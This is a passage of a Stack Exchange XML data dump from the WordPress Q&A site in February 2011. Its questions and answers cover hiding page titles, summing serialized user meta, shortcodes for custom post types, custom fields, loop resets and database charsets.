  <row Id="9722" PostTypeId="2" ParentId="9718" CreationDate="2011-02-18T11:58:33.017" Score="2" ViewCount="" Body="&lt;p&gt;the videos shows options that come with the headway theme, in order to see them you must use the headway theme. &#xA;it's not a build in functionality of WordPress, however you can use the_title filter to replace or remove the title for a specific post based on custom fields values like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_title_filter($title){&#xA;    global $post;&#xA;    $custom_t = get_post_meta($post-&amp;gt;ID, 'my_title', true);&#xA;    if (empty($custom_t){&#xA;        return $title;&#xA;    }else{&#xA;        if ($custom_t == 'remove'){&#xA;            return '';&#xA;        }else{&#xA;            return $custom_t;&#xA;        }&#xA;    }&#xA;}&#xA;add_filter( 'the_title', 'my_title_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after you add this code to your theme's functions.php file&#xA;all you need to do is edit the post/page you want to replace or remove the title and create a custom filed named &quot;my_title&quot; and enter your &quot;new title&quot; or &quot;remove&quot;&#xA;to remove completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-18T13:52:02.920" LastActivityDate="2011-02-18T13:52:02.920" CommentCount="4" />
  <row Id="9723" PostTypeId="2" ParentId="9716" CreationDate="2011-02-18T11:59:52.297" Score="1" ViewCount="" Body="&lt;p&gt;PHP solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tmp = 'a:3:{i:0;s:2:&quot;23&quot;;i:1;s:2:&quot;20&quot;;i:2;s:1:&quot;9&quot;;}';&#xA;echo sum_array(unserialize($tmp));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-02-18T11:59:52.297" CommentCount="3" />
  <row Id="9724" PostTypeId="2" ParentId="9716" CreationDate="2011-02-18T12:04:07.987" Score="4" ViewCount="" Body="&lt;p&gt;The value is serialized, if you retrieve the meta data with the WordPress functions you'll get that data back unserialized, and you'll be able to iterate over it(looks like an array).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$somevar = get_user_meta( '99999', 'your-key', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As with options in WordPress, user meta is serialized when it's an array or object, single values get stored as a string(unserialized).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call &lt;code&gt;get_user_meta&lt;/code&gt; and you will get back an array of data back instead of a serialized string, there's no need for you to serialize and unserialize yourself, the WordPress meta functions take care of this for you, using &lt;code&gt;maybe_serialize&lt;/code&gt; and &lt;code&gt;maybe_unserialize&lt;/code&gt; when getting and setting meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to option handling in WP and does pretty much the same thing, i covered this when answering &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5836/plugin-options-table-is-the-data-serialized/5849#5849&quot;&gt;Plugin options table,is the data serialized&lt;/a&gt;&quot;..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question more directly though, to total the values in the array use &lt;code&gt;array_sum&lt;/code&gt;, like so..(based on the example var earlier)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !empty( $somevar ) )&#xA;    $sum = array_sum( $somevar );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sum = 0;&#xA;if( !empty( $somevar ) ) {&#xA;    foreach( $somevar as $int )&#xA;        $sum = $sum + $int;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming it's a simple array of key =&gt; value pairs either approach should work.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-18T12:48:43.363" LastActivityDate="2011-02-18T12:48:43.363" />
  <row Id="9725" PostTypeId="1" CreationDate="2011-02-18T11:08:25.240" Score="0" ViewCount="337" Body="&lt;p&gt;I can't find the option to hide the page title. Is there some other plugin required to get this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look in this video &lt;a href=&quot;http://www.youtube.com/watch?v=0Q16NcSm99M&amp;amp;feature=player_embedded&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; you can see the option to set the page title. I don't have this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for a code solution here, I need something which will allow end users to hide the title. &lt;/p&gt;&#xA;" OwnerUserId="3280" LastActivityDate="2011-03-21T03:12:59.227" Title="Hide a page title in Wordpress 3.0" Tags="&lt;untagged&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="9726" PostTypeId="1" CreationDate="2011-02-18T12:32:21.397" Score="1" ViewCount="103" Body="&lt;p&gt;I have a Flickr category among my blogposts where I just paste in the direct links from Flickr, and let OAuth do it's thing to hotlink/embed the photos in the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my frontpage I am trying to grab the latest hotlinked/embedded photo from the latest post in the Flickr category in order to display it there. But with no success. I've tried with the &lt;code&gt;get_the_image();&lt;/code&gt; plugin, but it seems to only read photos that have been inserted into the post using the wordpress gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manage to get &lt;code&gt;the_title();&lt;/code&gt;, so I know I'm accessing to the right category and post, but I don't have any chance of displaying the image. Does anyone know how I can achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I've achieved this with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('category_name=flickr&amp;amp;showposts=1');&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;$meta = get_post_custom();      &#xA;$photos = array();&#xA;foreach ($meta as $key =&amp;gt; $value)&#xA;    if (false !== strpos($key, 'oembed'))&#xA;        array_push($photos, $value[0]);                 &#xA;    if(preg_match('/src=&quot;(.+\.jpg)&quot;/i', $photos[0], $m)) {&#xA;        echo '&amp;lt;img src=&quot;' . $m[1] . '&quot; /&amp;gt;';&#xA;    }&#xA;&#xA;endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunatly that embeddes the full size image from Flickr. I tried combining it with &lt;a href=&quot;http://www.binarymoon.co.uk/projects/timthumb/&quot; rel=&quot;nofollow&quot;&gt;TimThumb&lt;/a&gt;, but with no success. Small steps...&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="2937" LastEditorDisplayName="" LastEditDate="2011-02-21T05:26:28.103" LastActivityDate="2011-08-22T10:33:23.177" Title="How do I display the latest Flickr OAuth embedded image on the frontpage?" Tags="&lt;flickr&gt;" AnswerCount="1" />
  <row Id="9727" PostTypeId="1" AcceptedAnswerId="9758" CreationDate="2011-02-18T12:35:33.333" Score="0" ViewCount="204" Body="&lt;p&gt;Every time I insert an image into my post, the default link is to the image attachment page. How can I change it so it always links to the File address?&lt;/p&gt;&#xA;" OwnerUserId="3249" LastActivityDate="2011-02-18T16:05:49.277" Title="Link to File URL by default" Tags="&lt;image&gt;" AnswerCount="1" />
  <row Id="9728" PostTypeId="2" ParentId="9713" CreationDate="2011-02-18T12:37:06.343" Score="1" ViewCount="" Body="&lt;p&gt;I have to agree with Tafts, Simple Press is very intuitive and easy to use. One word of warning though, if you are planning a big or very busy forum then this might not be the way to go.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-02-18T12:37:06.343" />
  <row Id="9729" PostTypeId="1" AcceptedAnswerId="9737" CreationDate="2011-02-18T12:40:35.580" Score="0" ViewCount="241" Body="&lt;p&gt;I would like to create a shortcode that will extract information for a custom post, and display it within a Page or regular Post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific use case: I have a custom post type &quot;Film&quot; for a film festival website. The films are displayed with their own single-film.php, but occasionally the site owners want to write a post or page that mentions a particular film, and would like to be able to pull snippets of the info that has already been entered (eg, Film name, booking info, etc). This would go in a &quot;box&quot; at the bottom of the post, and I'd like to make it easy for them by providing some sort of shortcode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this? Any recommended resources/tutorials to get me on the right track? What gotchas should I be aware of (eg, multiple loops in a post)?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-18T13:36:41.590" Title="How would I create a shortcode to display a custom post within a page or regular post?" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;shortcode&gt;&lt;custom-loop&gt;" AnswerCount="2" />
  <row Id="9730" PostTypeId="2" ParentId="9725" CreationDate="2011-02-18T12:43:43.513" Score="1" ViewCount="" Body="&lt;p&gt;The video you have linked to is meant for the users of the Headway Themes. There is no option within WordPress itself to hide the title of pages. The video itself also does not show you how to hide the actual title, the option referred to is actually to hide the page from your navigation. If this is what you want to do you can quite easily hide any specific page from your menus in the custom menus page by simply removing the relevant page from your menu.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-02-18T12:43:43.513" CommentCount="1" />
  <row Id="9731" PostTypeId="1" CreationDate="2011-02-18T12:55:56.590" Score="0" ViewCount="37" Body="&lt;p&gt;I've seen in various tutorials where people white the custom field Name in this fashion: intro-image. I thought I would make more sense to use (user friendly names instead of something that looks like a variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is using hyphen (or underscore) a good practice?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-18T14:37:56.420" Title="Is it better practice to use 'This Name Format' or 'this-name-format' for custom fields?" Tags="&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="9732" PostTypeId="2" ParentId="9710" CreationDate="2011-02-18T13:00:16.870" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure what your loop looks like from which you are adding the articles to your list. All you need do is to create a variable to hold your counter somewhere before the while statement in your loop. This could be something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $counter = 0; ?&amp;gt;&lt;/code&gt;&lt;/pre&gt; &#xA;&#xA;&lt;p&gt;Note I am setting the counter to 0. Within the while statement you now enumerate this variable, this will keep on adding one to the counter for every time through the loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $counter++ ;?&amp;gt;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside your loop you now use the variable to show the numbers you are interested in. This will give you a one on the first loop, two on the second etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-02-18T13:00:16.870" CommentCount="0" />
  <row Id="9733" PostTypeId="2" ParentId="9731" CreationDate="2011-02-18T13:14:02.203" Score="0" ViewCount="" Body="&lt;p&gt;I have always use &quot;custom_field_name&quot; and never had any problems with that but i guess that with a more user friendly approach &quot;Custom Field Name&quot;  you could run into wired problems.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T13:14:02.203" />
  <row Id="9734" PostTypeId="2" ParentId="9710" CreationDate="2011-02-18T13:23:20.420" Score="0" ViewCount="" Body="&lt;p&gt;I adapted my loop to be like the one proposed by RXN, so it is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;global $post;&#xA;$args = array( 'category' =&amp;gt; 3, 'offset'=&amp;gt; 1, 'numberposts' =&amp;gt; -1, 'order' =&amp;gt; asc, 'exclude' =&amp;gt; '4307,4321');&#xA;$myposts = get_posts( $args );&#xA;foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;li class=&quot;paginaIndex-temario&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I introduced a list-style-type:decimal; in the stylesheed. Nevertheless I got a consecutive list of numbers for each post title everywhere but on Explorer (this give me a list of 1.,1.,1.,etc.) so I'm, at best, half way to success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I would like to try whith the &lt;code&gt;&amp;lt;?php $counter = 0; ?&amp;gt;&lt;/code&gt; but I really don't know what to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3273" LastActivityDate="2011-02-18T13:23:20.420" CommentCount="1" />
  <row Id="9735" PostTypeId="1" CreationDate="2011-02-18T13:33:53.097" Score="0" ViewCount="316" Body="&lt;p&gt;I'm using this same come in two files: &lt;code&gt;single.php&lt;/code&gt; and &lt;code&gt;home.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Outside of the loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There is a &lt;code&gt;#mainbar&lt;/code&gt; div in both &lt;strong&gt;single posts&lt;/strong&gt; and &lt;strong&gt;home page&lt;/strong&gt; but the image should be different) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Set and display custom field&#xA;        $mainbar_right_title = get_post_meta($post-&amp;gt;ID, 'Mainbar Right Title', true);&#xA;        $mainbar_right_image = get_post_meta($post-&amp;gt;ID, 'Mainbar Right Image', true); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;float-right&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;?php echo $mainbar_right_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $mainbar_right_image ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;    ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought the &lt;strong&gt;home page&lt;/strong&gt; would get the value of its own custom field but instead is getting the value of the &lt;strong&gt;single post&lt;/strong&gt;. Is this a default behaviour or I'm doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I tried adding a value to another single post and the image is indeed the one of the post not of the another so the problem is only the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Home&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;?php // Insert image using custom field&#xA;        $postimageurl = get_post_meta($post-&amp;gt;ID, 'Intro Image', true); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $postimageurl; ?&amp;gt;&quot; alt=&quot;Post Pic&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // Start the Loop&#xA;        if ( have_posts() ) while ( have_posts() ) : the_post();&#xA;    ?&amp;gt;  &amp;lt;div class=&quot;block-2 padding-top&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Mainbar');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;  &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Set and display custom field&#xA;            $mainbar_left_title = get_post_meta($post-&amp;gt;ID, 'Mainbar Left Title', true);&#xA;            $mainbar_left_image = get_post_meta($post-&amp;gt;ID, 'Mainbar Left Image', true); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;float-left&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php echo $mainbar_left_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo $mainbar_left_image ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Set and display custom field&#xA;            $mainbar_right_title = get_post_meta($post-&amp;gt;ID, 'Mainbar Right Title', true);&#xA;            $mainbar_right_image = get_post_meta($post-&amp;gt;ID, 'Mainbar Right Image', true); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;float-right&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php echo $mainbar_right_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo $mainbar_right_image ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;        ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Sidebar');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;  &amp;lt;div class=&quot;block-3 border-top&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;Other_Work&quot;, true); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Featured');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;  &amp;lt;div class=&quot;block-2 border-top block-height-2&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Content');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;  &amp;lt;div class=&quot;block-3 border-top block-height-2&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_meta(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-18T13:48:37.140" LastActivityDate="2011-02-18T14:00:26.130" Title="Custom Field is getting the value of another page/post instead of the current one?" Tags="&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="9736" PostTypeId="2" ParentId="9729" CreationDate="2011-02-18T13:35:06.287" Score="0" ViewCount="" Body="&lt;p&gt;Try to start from &lt;a href=&quot;http://www.smashingmagazine.com/2009/02/02/mastering-wordpress-shortcodes/&quot; rel=&quot;nofollow&quot; title=&quot;Shortcodes&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the callback function, do a custom_query (or use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post&quot; rel=&quot;nofollow&quot; title=&quot;GetPost&quot;&gt;get_post&lt;/a&gt;) for the post and extract only the values that are relevant for you. (I.e: title, excerpt...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example shorcode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[film id=10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use id in your function to retrive the content of the film.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-18T13:35:06.287" />
  <row Id="9737" PostTypeId="2" ParentId="9729" CreationDate="2011-02-18T13:36:41.590" Score="1" ViewCount="" Body="&lt;p&gt;There are great tutorials about shortcodes all over the web and some good examples &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/5741#5741&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but just to get you started: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('film_q', 'film_shortcode_query');&#xA;function film_shortcode_query($atts, $content){&#xA;  extract(shortcode_atts(array( // a few default values&#xA;   'posts_per_page' =&amp;gt; '1',&#xA;   'post_type' =&amp;gt; 'film',&#xA;   'caller_get_posts' =&amp;gt; 1)&#xA;   , $atts));&#xA;&#xA;  global $post;&#xA;&#xA;  $posts = new WP_Query($atts);&#xA;  $output = '';&#xA;    if ($posts-&amp;gt;have_posts())&#xA;        while ($posts-&amp;gt;have_posts()):&#xA;            $posts-&amp;gt;the_post();&#xA;            $out = '&amp;lt;div class=&quot;film_box&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;Film Name: &amp;lt;a href=&quot;'.get_permalink().'&quot; title=&quot;' . get_the_title() . '&quot;&amp;gt;'.get_the_title() .'&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p class=&quot;Film_desc&quot;&amp;gt;'.get_the_content().'&amp;lt;/p&amp;gt;';&#xA;                // add here more...&#xA;            $out .='&amp;lt;/div&amp;gt;';&#xA;    /* these arguments will be available from inside $content&#xA;        get_permalink()  &#xA;        get_the_content()&#xA;        get_the_category_list(', ')&#xA;        get_the_title()&#xA;        and custom fields&#xA;        get_post_meta($post-&amp;gt;ID, 'field_name', true);&#xA;    */&#xA;    endwhile;&#xA;  else&#xA;    return; // no posts found&#xA;&#xA;  wp_reset_query();&#xA;  return html_entity_decode($out);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to use it enter in any post/page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[film_q p=FILM_POST_ID]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just change FILM_POST_ID to the actual Film post ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-18T13:36:41.590" CommentCount="8" />
  <row Id="9738" PostTypeId="2" ParentId="9735" CreationDate="2011-02-18T13:44:33.457" Score="1" ViewCount="" Body="&lt;p&gt;You are doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, do a &lt;code&gt;var_dump(__FILE__);&lt;/code&gt; to make sure you're in the template you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't clear the mist, post the entire template, for context.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-18T13:44:33.457" CommentCount="3" />
  <row Id="9739" PostTypeId="2" ParentId="9735" CreationDate="2011-02-18T14:00:26.130" Score="0" ViewCount="" Body="&lt;p&gt;I figured out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is getting the ID from this line above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Mainbar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought Worpdress gets the IDs of the files (not the individual loops).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I include that reset at the end of every custom loop?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-18T14:00:26.130" CommentCount="3" />
  <row Id="9740" PostTypeId="2" ParentId="7092" CreationDate="2011-02-18T14:09:42.580" Score="5" ViewCount="" Body="&lt;p&gt;Lisandro, &#xA;in case you are still having these issues - or anyone else ends up on this page - the following.&#xA;Like Jan pointed out these issues have to do with the charsets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases the charset definition in wp-config.php must be UTF8, just like the variable for charset in wp admin read settings. Collation will normally not be set in wp-config.php, which leads to the default utf8_general_ci to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that charset and collation are also set on several levels in your database.&#xA;As for plugins and themes: most important thing to check is whether a meta tag with charset definitions is added to the head of your pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your cases you can consider to change the collation to utf8_unicode_ci for its better sorting performance. Best to have someone with working knowledge to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fairly good information on this can be found at &lt;a href=&quot;http://codex.wordpress.org/Converting_Database_Character_Sets&quot; 